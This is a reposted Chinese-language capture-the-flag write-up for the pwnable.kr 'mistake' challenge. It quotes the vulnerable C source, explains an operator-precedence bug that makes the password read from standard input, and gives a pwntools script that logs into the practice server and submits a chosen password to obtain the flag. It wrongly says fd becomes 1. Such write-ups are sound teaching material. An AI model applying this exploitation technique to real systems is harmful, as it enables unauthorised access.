pwnable.kr mistake

Posted p4nda

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.kr mistake相关的知识,希望对你有一定的参考价值。

又一道pwnable,我还没放弃。。


ssh mistake@pwnable.kr -p2222 (pw:guest)

源代码如下:

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can\'t open password %d\\n", fd);
        return 0;
    }

    printf("do not bruteforce...\\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\\n");
        close(fd);
        return 0;        
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\\n");
        system("/bin/cat flag\\n");
    }
    else{
        printf("Wrong Password\\n");
    }

    close(fd);
    return 0;
}

源代码中,对于文件打开错误条件判断出有问题

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

最后执行的应该是=号,也就是说fd= 1,当fd=1,函数read读取就从stdin获得,这部分数据可以被用户输入。

这就是为什么程序运行时会有卡顿。

利用pwntools的sendline函数可以解决。

from pwn import *
import time
s= ssh(host=\'pwnable.kr\',user=\'mistake\',password=\'guest\',port=2222)
s.connected()
pro = s.process(\'/home/mistake/mistake\')
print pro.recv()

fd_content = \'p4nda\'+\'\\0\'
fd_change = ""
for i in fd_content:
    fd_change += chr(ord(i) ^ 1)
pro.sendline(fd_content)
print pro.recv()
print fd_content
print \'[+] Sleep over.\'
pro.sendline(fd_change)
print pro.recv()

发现使用recv函数可以绕过源文件中sleep等待,原因是该函数是阻塞的。

 

以上是关于pwnable.kr mistake的主要内容,如果未能解决你的问题,请参考以下文章

pwnable.kr flag

pwnable.kr shellshock

pwnable.kr uaf

黑客练手入门| pwnable.kr—幼儿瓶—01:fd

pwnable.kr 第一题 FD

pwnable.kr 第二题 collision